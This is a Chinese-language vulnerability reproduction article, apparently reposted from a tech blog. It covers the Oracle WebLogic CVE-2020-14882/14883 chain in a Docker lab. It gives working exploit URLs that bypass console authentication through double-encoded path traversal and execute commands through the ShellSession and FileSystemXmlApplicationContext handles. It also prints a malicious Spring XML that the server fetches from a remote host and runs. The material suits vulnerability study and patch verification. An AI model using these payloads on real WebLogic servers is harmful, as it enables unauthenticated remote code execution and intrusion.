一、軟體介紹
WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網路應用和資料庫應用的Java應用服務器,將Java的動態功能和Java Enterprise標準的安全性引入大型網路應用的開發、集成、部署和管理之中,
二、漏洞描述
在2020年10月的更新中,Oracle官方修復了兩個安全漏洞,分別是CVE-2020-14882和CVE-2020-14883,CVE-2020-14882允許未授權的用戶繞過管理控制臺的權限驗證訪問后臺,CVE-2020-14883允許后臺任意用戶通過HTTP協議執行任意命令,使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令,
三、影響范圍
Oracle WebLogic Server 版本10.3.6.0
Oracle WebLogic Server 版本12.1.3.0
Oracle WebLogic Server 版本12.2.1.3
Oracle WebLogic Server 版本12.2.1.4
Oracle WebLogic Server 版本14.1.1.0
四、利用條件
目標可訪問;目標版本符合;未打相應補丁,
五、測驗環境
Weblogic 12.2.1.3
六、漏洞分析
構造特殊url,繞過認證登錄后臺和執行系統命令

七、漏洞復現
環境搭建
啟動docker

啟動鏡像:
docker-compose up -d

啟動完成后,kali訪問http://your-ip:7001/console即可查看到后臺登錄頁面

環境搭建完成
漏洞復現
繞過認證直接訪問后臺
首先測驗權限繞過漏洞(CVE-2020-14882),直接訪問
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

成功登錄到后臺頁面
雖然成功登錄到后臺頁面但當前用戶是低權限用戶,并不能執行命令此時需要用到第二個漏洞CVE-2020-14883,這個漏洞的利用方式有兩種,一是通過com.tangosol.coherence.mvel2.sh.ShellSession,二是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,
直接訪問如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession執行命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

頁面顯示404,回到服務器端執行如下命令登錄到容器里面
docker exec -i -t 容器id /bin/bash

進入容器后到執行命令的目錄下查看檔案夾是否創建

可以看到success1成功創建,命令執行成功
這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession類,
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一種更為通用的方法,最早在CVE-2019-2725被提出,對于所有Weblogic版本均有效,
首先,我們需要構造一個XML檔案,并將其保存在Weblogic可以訪問到的服務器上,這里我將它放在了一臺win7虛擬機phpsturd的網站主目錄下

檔案內容如下
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通過如下URL,即可讓Weblogic加載這個XML,并執行其中的命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://your-www/rce.xml")

依舊顯示404頁面,進容器里面看看命令是否執行
![]()
Success2檔案夾被創建,命令執行成功,雖然這個方法能適用于更多版本,但需要Weblogic的服務器能夠訪問到惡意XML,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/302172.html
標籤:其他
上一篇:OpenCV-Python實戰(7)——直方圖詳解(??含大量實體,建議收藏??)
下一篇:軟體測驗理論
